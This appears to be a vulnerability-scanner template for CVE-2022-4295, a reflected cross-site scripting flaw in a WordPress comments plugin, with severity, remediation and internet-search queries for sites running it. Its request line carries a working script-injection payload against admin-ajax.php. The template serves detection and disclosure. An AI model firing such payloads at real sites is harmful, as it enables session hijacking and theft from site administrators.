id: CVE-2022-4295

info:
  name: Show all comments < 7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4295
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4295
    cwe-id: CWE-79
    epss-score: 0.00897
    epss-percentile: 0.54823
    cpe: cpe:2.3:a:appjetty:show_all_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appjetty
    product: show_all_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/show-all-comments-in-one-page
    fofa-query: body=/wp-content/plugins/show-all-comments-in-one-page
    publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page,appjetty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "Select </option>")'
        condition: and
# digest: 4a0a00473045022100aa0855affa83f4ca0b0ac0d51f9c8a0b1b9b8f74b36c0f9b3581fea4c99145ad022011a63ac13314a77f0125467919995f1dba9cbfb93f4d464be25f48fa7ce8e39b:922c64590222798bb761d5b6d8e72950